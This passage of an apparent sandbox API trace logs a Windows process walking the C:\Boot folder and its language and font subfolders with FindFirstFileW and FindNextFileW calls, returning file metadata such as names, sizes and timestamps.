cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.850] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.851] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.851] GetProcessHeap () returned 0x11a0000 [0077.851] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.851] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="et-EE", cAlternateFileName="")) returned 1 [0077.851] GetProcessHeap () returned 0x11a0000 [0077.851] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.851] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.851] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.851] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.851] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.852] GetProcessHeap () returned 0x11a0000 [0077.852] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.852] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0077.852] GetProcessHeap () returned 0x11a0000 [0077.852] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.852] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.853] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.853] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.853] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.853] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.853] GetProcessHeap () returned 0x11a0000 [0077.853] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.853] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Fonts", cAlternateFileName="")) returned 1 [0077.853] GetProcessHeap () returned 0x11a0000 [0077.853] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0077.857] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.857] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0077.857] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0077.857] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0077.857] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0077.857] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0077.858] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0077.859] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0077.859] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0077.859] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0077.859] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0077.859] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0077.859] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.860] GetProcessHeap () returned 0x11a0000 [0077.860] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.860] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0077.860] GetProcessHeap () returned 0x11a0000 [0077.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.861] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.861] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.861] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.861] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.862] GetProcessHeap () returned 0x11a0000 [0077.862] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.862] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0077.862] GetProcessHeap () returned 0x11a0000 [0077.862] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.862] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.862] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.862] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.862] FindNextFileW 